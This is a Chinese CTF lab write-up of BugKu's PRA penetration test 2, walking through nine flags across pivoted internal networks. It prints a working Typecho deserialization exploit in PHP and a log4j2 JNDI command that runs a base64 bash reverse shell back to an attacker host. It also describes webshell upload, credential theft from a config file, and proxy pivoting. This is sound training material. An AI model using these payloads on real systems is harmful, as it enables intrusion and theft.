BugKu -- PRA -- 渗透测试2

前言

这道题目最耽误时间的就是内网穿透的时候各种掉线,难受的一批,所以建议做题的人最少准备两台vps,要不然实在是浪费金币
在这里插入图片描述

渗透过程

flag1

访问网站,发现是typecho搭建的网站
在这里插入图片描述

这个洞在我前面的awd中也是讲解过的,存在反序列的漏洞,这里就直接附上poc

<?php
class Typecho_Feed
{
        const RSS1 = 'RSS 1.0';
        const RSS2 = 'RSS 2.0';
        const ATOM1 = 'ATOM 1.0';
        const DATE_RFC822 = 'r';
        const DATE_W3CDTF = 'c';
        const EOL = "\n";
        private $_type;
        private $_items;

        public function __construct() {
                $this->_type = $this::RSS2;
                #$this->_type = $this::ATOM1;
                $this->_items[0] = array(
                        'category' => array(new Typecho_Request()),
                        'author' => new Typecho_Request(),
                );
        }
}
class Typecho_Request
{
        private $_params = array();
        private $_filter = array();

        public function __construct() {
                $this->_params['screenName'] = 'system("ls")'; //此处修改需要执行的代码
                $this->_filter[0] = 'assert'; // 这里也可以使用system
        }
}

$exp = array(
        'adapter' => new Typecho_Feed(),
        'prefix'  => 'typecho_'
);

echo base64_encode(serialize($exp));
?>

首先查看当前目录的文件
在这里插入图片描述
其次全局搜索flag文件
在这里插入图片描述
发现flag在根目录下
在这里插入图片描述
查看flag,得到flag1
在这里插入图片描述
在这里插入图片描述

flag2

这里我是选择上传了一个webshell,使用的base64写入,直接写入的话,特殊字符的转义有点问题
在这里插入图片描述
在这里插入图片描述
尝试访问webshell
在这里插入图片描述
连接webshell
在这里插入图片描述
这里有一个config.inc.php,里面记录了数据库的用户名和密码,使用该用户名和密码连接数据库,得到第二个flag
在这里插入图片描述

flag3、flag4、flag5

到了这里也没有什么提示,我们查看网卡信息
在这里插入图片描述
发现192.168.0.x这个网段,使用fscan(amd64这个版本)来扫描该网段
在这里插入图片描述
发现了192.168.0.3有一个后台管理系统,这里使用frp进行代理,并访问该网站
在这里插入图片描述

这个登录界面看着比较熟悉,记得以前在bugku复现log4j2的时候,和这个界面是差不多的,尝试利用该漏洞

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64加密的bash反弹shell的命令}|{base64,-d}|{bash,-i}" -A "xx.xx.xx.xx"

在这里插入图片描述
使用nc监听,获取到shell,并在根目录下发现flag
在这里插入图片描述
使用find命令全局查看flag文件
在这里插入图片描述
这里提交完成后,发现没有flag3,于是翻了翻文件,在根目录下有个start.sh,查看文件内容
在这里插入图片描述
发现提示flag3在这个js文件中,查看该js文件
在这里插入图片描述

flag6

到了这里依然没有提示,那就继续查看网络信息,发现192.168.1.x地址段
在这里插入图片描述
继续使用fscan(amd64版本)的扫描该网段信息
在这里插入图片描述
发现192.168.1.3有一个git仓库,并且有一个默认的仓库
在这里插入图片描述
我们直接访问一下这个仓库,得到flag
在这里插入图片描述

flag7

这里确实是学到的新知识,第一次利用git仓库getshell,这里直接附上大佬仓库的链接,可以直接访问,这里是可以解析phtml的
在这里插入图片描述
在根目录下得到flag
在这里插入图片描述

flag8、flag9

随后翻了翻文件,没发现什么用的,并且这道题目有提示,user:guest,虽然也不知道啥意思,但是我们还是先查看网络信息
在这里插入图片描述
发现了10.10.0.x网段,使用fscan(386版本)扫描,发现10.10.0.3这个地址只开放了21端口,其他的web站都是咱们之前访问过的,那么也就是说,突破口可能是在21端口上
在这里插入图片描述
接着使用frp做代理,但是这里由于过了好多层,代理总是断断续续的,所以直接使用kali,访问
在这里插入图片描述
这里还卡了一下,我一直以为用户名是guest,密码是空的,结果试了半天,发现用户名和密码是一样,人麻了,登录成功后,在当前目录下获得了flag,并且还提示了根目录
在这里插入图片描述
最后,在根目录下获取到了最后一个flag
在这里插入图片描述

总结

首先还是vps准备的不足,第一天做到最后,frp服务起的乱七八糟的,而且还因为使用国内的vps做代理。git仓库那里一直访问不成功,最后用了一个非国内的,才成功,不过确实通过靶场学到很多。happy endding!

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值